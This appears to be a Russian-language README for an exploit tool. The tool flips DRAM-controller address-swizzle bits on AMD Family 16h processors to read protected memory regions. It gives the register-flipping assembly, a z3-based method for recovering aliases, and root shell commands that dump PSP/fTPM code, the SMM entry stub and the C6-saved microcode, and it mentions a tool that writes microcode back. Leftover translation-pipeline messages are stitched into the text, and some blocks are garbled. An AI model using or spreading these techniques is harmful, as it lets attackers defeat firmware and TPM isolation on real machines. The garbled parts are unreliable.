
Использует скремблирование адресов контроллера DRAM для переназначения физической памяти и доступа к защищённым областям CPU, включая PSP, SMM и микрокод, на системах AMD Family 16h.
Разблокируем всё на CPU с помощью скремблирования DRAM — PSP, C6, микрокод, SMM и всё остальное, о чём умолчали спецификации.
&x == &x.
Обычно.

Ткните в контроллер DRAM — и адрес можно заставить попасть куда угодно
в памяти. skitter-creek-bath-salts проникает на самый глубокий уровень
иерархии памяти и перекоммутирует физические трансляции адресов DRAM,
чтобы перемешать платформенную память и высвободить её самые охраняемые секреты —
специализированные зарезервированные области, невидимые даже ядру. Когда
трансляции ломаются, стены, построенные на них, рушатся, и мы разблокируем всё.
Разработано и протестировано на процессорах AMD Family 16h — последнем поколении,
в документации которого описаны регистры трансляции контроллера DRAM — и показано,
что их нельзя заблокировать. В 17h и более новых поколениях эта информация просто
отсутствует. Одиссея *p схожа во всех поколениях и
архитектурах, а лежащие в основе преобразования распространяются даже на ARM, RISC-V и
далее; skitter-creek-bath-salts показывает нам лишь с чего начать.
*pЭто долгий путь вниз.
Память построена на таких глубоких уровнях абстракции, что они становятся почти
абсурдными. Когда ваш код разыменовывает *p, кажется, что он обращается к DRAM
по адресу p. На самом деле это не так — p это виртуальный адрес, и прежде чем
будет затронут хотя бы один бит DRAM, ему предстоит пройти через все испытания ниже:```
── CPU core / MMU ─────────────────────────────────────────────────
┌─ VA ← 64-bit virtual address from load/store
│
└> canonical-form check ──────────────────────┐ ← bits [63:48] sign-extend from bit 47
┌─ segment base add <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE)
│
└> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest)
hit → physical address k │
miss → engage hardware page walker │
┌─ page walk (from CR3) <─────────────────────┘ ← walked only on TLB miss
│ PML5[VA 56:48] ← only if CR4.LA57
│ PML4[VA 47:39]
│ PDPT[VA 38:30] ← 1 GiB leaf possible
│ PD [VA 29:21] ← 2 MiB leaf possible
│ PT [VA 20:12]
│ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G
│
└> per-level checks ──────────────────────────┐ ← evaluated at every level of the walk
privilege (U/S) │ ← CPL vs PTE.U/S
write (R/W) │ ← + CR0.WP
execute (NX) │ ← EFER.NXE
SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC
protection keys │ ← PKRU (user) · IA32_PKRS (supervisor)
┌─ A/D bit update <───────────────────────────┘ ← locked RMW on PTE
│
└> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA above re-walked
EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override
⇒ ~5× walks per single guest walk │
┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to peer vCPUs
│
│ ── IOMMU (chipset / I/O fabric) ──────────────────────────────────
│
└> if device-initiated, IOMMU page walk ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables
│
┌── physical address k <─────────────────┘
│
│ ── CPU core / MMU — memory-type resolution ────────────────────────
│
└> MTRR range match ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs
┌─ PAT entry select <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ]
│
└> effective memory type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC }
│
── CPU uncore — caches & coherence ────────────────────────────────
│
┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core
│
└> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX
┌─ LLC probe + directory consult <────────────┘ ← shared, sliced
│
└> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast
intra-socket │ ← broadcast to peer cores
inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache
home-node directory response │ ← data | intervention | abort
│
── system data fabric / interconnect ──────────────────────────────
│
┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘ ← uncore/data fabric posted/non-posted txn
│ → device BAR; done
│
└> else DRAM-bound: data fabric / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore
│
┏━━ ── MCT / IMC (memory controller) ────────────────────────────────
W ┃ ┌─ DRAM hole remap <──────────────────────────┘ ← high-memory remap above TOM
E ┃ │
┃ └> memory-region exclusion remap ─────────────┐ ← reserved / protected ranges
┃ ┌─ channel interleave hash <──────────────────┘ ← XOR of selected PA bits → channel
A ┃ │
R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank
E ┃ ┌─ bank interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank
┃ │
┃ └> bank swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable
H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line
E ┃ │ rank → CS map
R ┃ │
E ┃ └> sub-channel select ────────────────────────┐ ← DDR5 / LPDDR5 only
┗━━ │
│
DRAM coordinates <─────────────────────────┘ ← bank group · bank · row (RAS) · column (CAS)
Этот проект работает на самых глубоких уровнях конвейера `*p`, на слое MCT/DCT
— где физический адрес из фабрики данных/интерконнекта попадает в контроллер
памяти и перезаписывается в последний раз в сырые координаты DRAM, которые
выдаются на модуль DIMM.
---
## Спагеттификация DRAM
> Физические адреса — это скорее предложение.```nasm
xor dword [0xf80c2094], 0x00400000
Вот и весь эксплойт. Целиком.
Один переворот бита в контроллере DRAM перестраивает весь фундамент конвейера *p, и данные, которые были по адресу &x, теперь находятся где-то ещё в полёте. Внезапно &x != &x. Все продуманные механизмы, с помощью которых CPU, прошивка, uncore и чипсет скрупулёзно отгораживали все наиболее защищённые области памяти, находятся выше контроллера памяти и совершенно не подозревают ни о чём, что происходит под ним. Все существующие барьеры памяти защищают физические адреса, а не координаты DRAM, и если изменить координаты DRAM, все барьеры CPU и data fabric, расположенные выше, останутся в полном неведении.
Но перекоммутировать DRAM легко. Бит выше — это bank-swizzle-mode в DCT, и это лишь один из десятков битов, управляющих перераспределением адресов на финальном уровне, — достаточно лишь пнуть их, чтобы всё, что построено сверху, рухнуло. Сложнее всего — удержать платформу на плаву, пока вся системная память под ней перемешивается.
Фокус в том, чтобы действовать быстро и не трогать DRAM. Отключите AP, заранее заполните TLB, разогрейте кэш, отключите прерывания, сбросьте целевую область, сериализуйте обращения к памяти и надейтесь, что CPU заранее подтянул следующие инструкции. Затем перепрограммируйте MCT/DCT, чтобы превратить DRAM в спагетти, захватите немного данных из защищённой области, верните сопоставления на место, снова выполните сериализацию, включите прерывания, возобновите работу AP — и всё возвращается в норму, а остальная платформа остаётся совершенно невредимой.```nasm mov eax, [0xf80c2094] ; prime mmio TLB mov eax, [0x6f800000] ; prime target TLB pushf ; preserve flags cli ; interrupts off clflush [0x6f800000] ; evict the target, force the dram read mfence ; barrier - no coherent world dram access lfence ; reordered into spaghettified view xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram mov ebx, [0x6f800000] ; fetch target in spaghettified view xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble mfence ; barrier - no spaghettified dram access lfence ; reordered into coherent world view popf ; interrupts back on
При тщательной настройке пейджинга, состояний кэша, многопоточности и TLB
перемешивание адресов можно заставить работать из C, чтобы проиллюстрировать
схлопывание конвейера `*p` и искажённое представление платформы, когда внезапно `&x != &x`:

Таким образом, мы можем перекоммутировать карту и восстановить её без следов. Остаётся
лишь знать, во что мы её перекоммутировали.
---
## Разблокировка *всего*
> Каждая защищённая область памяти на платформе, доступная с помощью калькулятора.
С помощью описанного выше подхода мы можем перепрограммировать преобразование MCT/DCT
на работающей системе — перестраивая самую нижнюю ступень конвейера `*p`, чтобы
перемешать память, вырвав её из-под каждой защиты, построенной поверх неё.
Но есть сложность: хотя мы можем перепрограммировать трансляцию простой
командой `xor dword [0xf80c2094], 0x00400000`, мы понятия не имеем, какие новые
преобразования будут использовать MCT/DCT (технические описания здесь
недостаточно детализированы — xor-карты неверны, вычитающая ступень MMIO
неупорядочена, а детали различаются между моделями).
Без этого память перемешивается, но у нас нет способа восстановить её.
К счастью, преобразование адресов контроллера DRAM является линейным отображением
над GF(2), что означает, что мы можем восстановить перемешанную память с помощью
базовой линейной алгебры.
Сначала рассмотрим обычный случай: прямое преобразование конфигурации MCT/DCT
по умолчанию применяется к некоторому физическому адресу, который попадает на
секрет в DRAM:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_firmware target secret
Это когерентное представление памяти: нижняя ступень конвейера *p
работает ровно так, как и должна.
Теперь перекоммутируем стадию MCT/DCT конвейера *p с помощью xor dword [0xf80c2094], 0x00400000,
и платформа переходит в перемешанное/спагеттифицированное представление памяти, где
другое преобразование позволяет псевдониму достичь того же секрета DRAM:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker alias secret
Этот псевдоним позволяет получить тот же секрет, не наталкиваясь на существующие платформенные
замки и защиты, созданные для согласованного представления. Чтобы найти псевдоним, составьте
инверсию атакующего/спагеттифицированного хэша с прямым преобразованием
прошивочного/согласованного хэша, чтобы получить преобразование, которое позволит добраться до любого секрета из
вредоносной конфигурации MCT/DCT:```
┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘ └ ┘
M_attacker⁻¹ M_firmware target alias
Единственная сложность в том, что матрицы неизвестны, а значит, мы понятия не имеем, как на самом деле перемешивается память, и у нас нет преобразования, чтобы вообще добраться до секрета:``` ┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias
К счастью, на этом этапе это просто линейная алгебра, и вы могли бы решить
преобразования вручную, если хотите. Или: калькулятор.
Мы используем [z3](https://github.com/z3prover/z3). Сначала SMT-солверу нужны
ограничения для работы.
Начните в связном представлении, измените MCT/DCT, чтобы переключиться на «спагеттифицированное» представление,
запишите какое-нибудь сигнальное значение, например `0xdeadc0de`, в случайный адрес памяти,
переключитесь обратно в связное представление и просканируйте память в поисках того, где сигнальное значение
снова появляется. Это даёт пару (target, alias) — конкретную точку данных, показывающую два
физических адреса, которые отображаются на одну и ту же ячейку в DRAM. Повторите процесс,
соберите немного данных, передайте их в z3, и он решит матрицу преобразования,
необходимую для переключения между двумя представлениями — любой физический адрес в связном представлении на
одной стороне, его псевдоним в «спагеттифицированном» представлении на другой:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker⁻¹ ∘ M_firmware target alias
Подавая пары псевдонимов в z3 по одной, мы можем наблюдать, как SMT-решатель расшифровывает перемешивание памяти в реальном времени, как показано на начальном изображении.
Решённое преобразование — это розеттский камень, ключ к тому, чтобы взять любой целевой адрес в
нормальном когерентном представлении памяти и добраться до тех же данных в перемешанном
спагеттифицированном представлении. Чтобы разблокировать защищённую DRAM, выберите адрес, до которого мы не можем дотянуться, —
приватная память PSP, SMRAM, состояние простоя C6 — прогоните его через преобразование,
решаемое z3, и получите псевдоним, который достигнет цели в спагеттифицированном
представлении, не задевая сложные ограждения, блокировки и проверки безопасности, которые
платформа построила для когерентного представления памяти. Перенастройте DCT с помощью xor dword [0xf80c2094], 0x00400000, прочитайте или запишите псевдоним, его путь через
конвейер *p обходит каждое ограждение на пути, вернитесь к
когерентному представлению вторым xor dword [0xf80c2094], 0x00400000 — и готово:
неограниченный доступ ко всему, что платформа спрятала в
DRAM.

В конечном счёте всё, что обычно так тщательно отгорожено — приватная память PSP, SMRAM, состояние простоя C6 — заблокировано и недоступно из ОС и ring-0, а иногда даже с самого CPU, всё равно лежит в тех же физических конденсаторах DRAM. Но блокировки, ограждения и стены были построены вокруг когерентного представления памяти, и ничего не могут сделать против спагеттифицированных псевдонимов, которые достигают тех же данных.
Переверните один бит на последнем уровне конвейера *p — и мы разблокировали
всё.
Повозитесь со своим PSP — и посмотрите, что получится.
fTPM работает на собственном ARM-ядре PSP, в выделенной области DRAM сразу за видимой верхней границей памяти. Дотянитесь до неё, создав псевдоним для видимого из ОС физического адреса, извлеките байты и дизассемблируйте.```sh
./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region psp)"
sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin
objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE
--start-address=$((PSP_BASE + 0x19d4))
--stop-address=$((PSP_BASE + 0x19d4 + 0x64))
-D psp.bin
No input content was provided to translate.```armasm
; crAmd_ModExp — the fTPM's RSA modular-exponentiation routine, recovered intact
; from the PSP's private DRAM.
7f8019d4: b5f0 push {r4, r5, r6, r7, lr}
7f8019d6: b0e5 sub sp, #404
7f8019de: 2280 movs r2, #128 ; 1024-bit operand
7f8019e4: f7fe ffef bl 0x7f8009c6 ; import base (aA)
7f8019ee: a0eb adr r0, 0x7f801d9c ; "crAmd_ModExp aA failed, status = 0x%x"
7f8019f8: f7fe ffe5 bl 0x7f8009c6 ; import exponent (aB)
7f801a02: a0f0 adr r0, 0x7f801dc4 ; "crAmd_ModExp aB failed status = 0x%x"
7f801a18: f000 fdd4 bl 0x7f8025c4 ; the modexp itself
7f801a20: a0f2 adr r0, 0x7f801dec ; "crAmd_ModExp failed ret=0x%08x, exit"
7f801a22: f000 fef5 bl 0x7f802810 ; log error
7f801a2e: f001 e92a blx 0x7f802c84 ; export result
7f801a36: bdf0 pop {r4, r5, r6, r7, pc}
Это RSA-движок PSP — modexp, стоящий за каждой подписью fTPM и за тестами Miller-Rabin, которые создают его ключи, — извлечённый из памяти, которой PSP, как предполагается, владеет в одиночку, изолированный на контроллере памяти, непрозрачный даже для ring-0. Изменяйте как сочтёте нужным.
Узнайте, что скрывает SMM.
Вектор входа обработчика SMI находится по адресу SMBASE + 0x8000. SMBASE — в
MSR 0xc0010111. Прочитайте его, извлеките байты через карту алиасов и
направьте их прямо в дизассемблер:```sh
./userspace/platform_check || exit 1
sudo modprobe msr
SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111) SMI_ENTRY=$(( SMM_BASE + 0x8000 ))
sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40
$(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -
I don't see any content to translate — the input after `INPUT:` is empty. Please provide the chunk text you'd like translated.```nasm
; SMI entry stub — the first thing a core executes when entering the
; ultra-privileged System Management Mode.
mov si,0x8148 ; SI -> GDT pointer parked at SMBASE+0x8148, just past this stub
o32 lgdt [cs:si] ; load it (o32 -> full 32-bit base, not real mode's 24-bit form)
mov eax,0x3 ; CR0.PE | CR0.MP
mov cr0,eax ; flip the core into protected mode
jmp short 0x14 ; near jump to serialize and flush the prefetch queue post-switch
mov ax,0x18 ; GDT selector 0x18 -> flat data segment
mov ss,ax ; reload SS for protected mode
mov eax,0x6efe2ff8 ; SMM stack top
mov esp,eax ; install the SMM stack
o32 push byte +0x10 ; far-return frame: CS = code selector 0x10
mov ecx,0xc0010111 ; MSR SMM_BASE
rdmsr ; EAX = this core's SMBASE
mov ebx,eax ; stash SMBASE
add eax,0x803a ; EAX = SMBASE+0x803a, the 32-bit handler entry
push eax ; far-return frame: EIP = SMBASE+0x803a
retfd ; far-return into 0x10:SMBASE+0x803a — the SMI handler proper
Эти инструкции выполняются в кольце -2, самом привилегированном контексте на CPU, вне памяти, которую чипсет должен сделать нечитаемой. То, что SMRAM «заблокирована» оказывается вежливым предложением, когда мы можем общаться с контроллером DRAM напрямую.
Замените 2x4gb на тот префикс в data/maps/, который соответствует вашим установленным
модулям DIMM (sudo dmidecode -t memory). Если вашей топологии там нет, запустите
analysis/gather_aliases.py, затем analysis/unspaghettify.py, чтобы подготовить
свой собственный.
Понятия не имею, что здесь, и никогда не видел, чтобы это обсуждалось; по-видимому, внутренние регистры CPU. Развлекайтесь.
Когда ядра переходят в C6 через power-gating, полный архитектурный контекст x86 каждого из них сохраняется здесь для восстановления.```sh ./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin
for c in 0 1 2 3; do printf 'core %d ' $c hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1 done
The input chunk is empty — no Markdown content was provided for translation. Please resend the chunk text for chunk 27 of 47.```text
core 0 000009b8 00 09 e0 fe 00 00 00 00 |........| <- 0xfee00900 enabled, BSP bit set
core 1 000049b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor
core 2 000089b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor
core 3 0000c9b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor
Одно ядро с установленным битом BSP, три без — загрузочный процессор и его три AP, застигнутые в простое, когда их состояние регистров лежит как на ладони.
Чем больше копаешь, тем больше регистров CPU найдёшь:
Разумеется, все эти регистры и так доступны из ring-0. Самое весёлое — во всём остальном состоянии CPU, которое там лежит: ковыряние во внутренних регистрах, до которых ring-0 дотянуться не может.
Что может пойти не так?
Когда ядро уходит в C6, его оперативная память микропатчей — энергозависимая SRAM — гаснет вместе
с остальным ядром. Поэтому хранилище C6 держит загруженный патч в DRAM и заново
засевает его при пробуждении. Эта копия лежит по адресу +0x1800 в каждой области
сохранения, и алиас обращается к ней как к любому другому байту.
Захватите копию микрокода, которую CPU припрятал в изолированной DRAM:```sh ./userspace/platform_check || exit 1 eval "$(sudo ./userspace/dram_carveouts --region cc6)"
sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin
Сопоставьте его с известными патчами:```sh
# did we find it?
python3 - <<'EOF'
ram = open("ucode_ram.bin", "rb").read()
chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12]
for fam in (15, 16, 17, 19):
uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read()
print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match")
EOF
Это хороший знак:```text fam15h: 0/94 chunks match fam16h: 68/94 chunks match <- the microcode the core is running fam17h: 0/94 chunks match fam19h: 0/94 chunks match
Извлеките триады ucode:```sh
od -Ax -tx1 -w20 ucode_ram.bin
I don't see any content to translate — the INPUT section is empty.```text 000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a 000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0 000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27 [...] 000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00 * 0005f0
И вот оно: сверху отчётливые uops, ниже повторяющийся NOP padding.
Оттуда у `dram_dump` есть родственный инструмент, `dram_poke`. Тот же алиас,
который читал патч, может и записать его — и именно эту копию ядро перезагружает,
выходя из простоя.
Что делать дальше — зависит от вашего воображения.
---
## Сборка```
make # builds kernel/spaghettify.ko and all userspace tools
make clean
Запускайте от root. Полные подробности в USAGE.md.
dram_readПростое чтение из защищённого адреса памяти.
Включите переключения --do-swizzle / --do-bankswap в контроллере DRAM,
